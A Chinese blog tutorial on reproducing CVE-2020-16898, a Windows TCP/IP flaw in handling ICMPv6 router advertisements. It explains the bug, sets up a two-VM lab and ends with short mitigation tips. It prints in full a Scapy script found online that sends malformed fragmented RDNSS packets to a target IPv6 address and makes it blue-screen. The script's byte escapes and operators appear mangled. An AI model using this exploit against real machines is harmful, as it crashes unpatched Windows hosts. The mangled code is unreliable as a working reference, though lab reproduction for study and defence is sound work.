如何进行CVE-2020-16898漏洞复现

本篇文章为大家展示了如何进行CVE-2020-16898漏洞复现,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

漏洞简介

当Windows TCP / IP大小不当处理ICMPv6路由器广告数据包时,存在远程执行代码入侵。成功利用此入侵的攻击者可以获取目标服务器或客户端上执行代码的能力,可以让受害机蓝屏

为了利用此漏洞,攻击者可能必须将经过特殊设计的ICMPv6路由器广告数据包发送到远程Windows计算机上。

漏洞分析

当Windows TCP / IP堆栈不适当地处理使用选项类型25(递归DNS服务器选项)且长度字段值为偶数的ICMPv6路由器广告数据包时,存在一个漏洞。

当提供一个偶数长度值时,Windows TCP / IP堆栈错误地将网络缓冲区的行进量减少了8个字节。这是因为堆栈在内部以16字节为增量进行计数,因此无法解决使用非RFC兼容长度值的情况。这种不匹配导致堆栈将当前选项的最后8个字节解释为第二个选项的开始,最终导致缓冲区溢出和潜在的RCE。

影响版本

• Microsoft Windows 10 1709• Microsoft Windows 10 1803• Microsoft Windows 10 1809• Microsoft Windows 10 1903• Microsoft Windows 10 1909• Microsoft Windows 10 2004• Microsoft Windows Server 2019

环境部署

攻击机IP:192.168.192.1(win10 1909)

如何进行CVE-2020-16898漏洞复现

靶机IP:192.168.192.128 (win10 1809)

如何进行CVE-2020-16898漏洞复现

漏洞复现

确定靶机开启NAT模式以及开启ipv6

全屏模式下点击虚拟网络编辑器然后点击更改设置

如何进行CVE-2020-16898漏洞复现

然后再开启ipv6,点击确定

如何进行CVE-2020-16898漏洞复现

确认两台机器都可以互相ping通

靶机ping攻击机

如何进行CVE-2020-16898漏洞复现

攻击机ping靶机

如何进行CVE-2020-16898漏洞复现

查看靶机的ipv6地址

如何进行CVE-2020-16898漏洞复现

查看攻击机的ipv6地址

如何进行CVE-2020-16898漏洞复现

接着使用一个网上的pyload

内容为

from scapy.all import *from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = "fd15:4ba5:5a2b:1008:5d26:75a3:1641:ee3" #根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址v6_src = "fe80::9548:d004:9491:9c34%13" #攻击者的本地ipv6地址 p_test_half = 'A'.encode()*8 + b"/x18/x30" + b"/xFF/x18"p_test = p_test_half + 'A'.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS()e.len = 21e.dns = ["AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]aaa = ICMPv6NDOptRDNSS()aaa.len = 8pkt = ICMPv6ND_RA() / aaa / / Raw(load='A'.encode()*16*2 + p_test_half + b"/x18/xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ / IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)

上边的目标机的ip要为ipv6地址或临时ipv6地址

攻击机的ipv6要为本地链接ipv6地址

将地址写入到payload中,可以实施攻击。

攻击的要利用到一个scapy的组件,这个组件依赖于python环境

在攻击机上装上python环境 (从官网下载并配置环境)

Scapy是一个Python程序,使用户能够发送,嗅探和剖析并伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

命令为:pip install scapy

如果失败的话可能是python版本太高,可以选用python3.7版本的

如何进行CVE-2020-16898漏洞复现

可以看出我是装了这个组件的

启动scapy,出现如下界面

如何进行CVE-2020-16898漏洞复现

cd进入桌面(桌面存在这个文件)

然后使用这个命令:

python CVE-2020-16898.py

可以看到受害机蓝屏

如何进行CVE-2020-16898漏洞复现

实验完成

漏洞修复

尽量开启防火墙

关闭ipv6服务

对外部流量进行严格过滤

上述内容就是如何进行CVE-2020-16898漏洞复现,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。

原创文章,作者:奋斗,如若转载,请注明出处:https://blog.ytso.com/tech/safety/220438.html

(0)
上一篇 2022年1月2日 20:18
下一篇 2022年1月2日 20:18

相关推荐

发表回复

登录后才能评论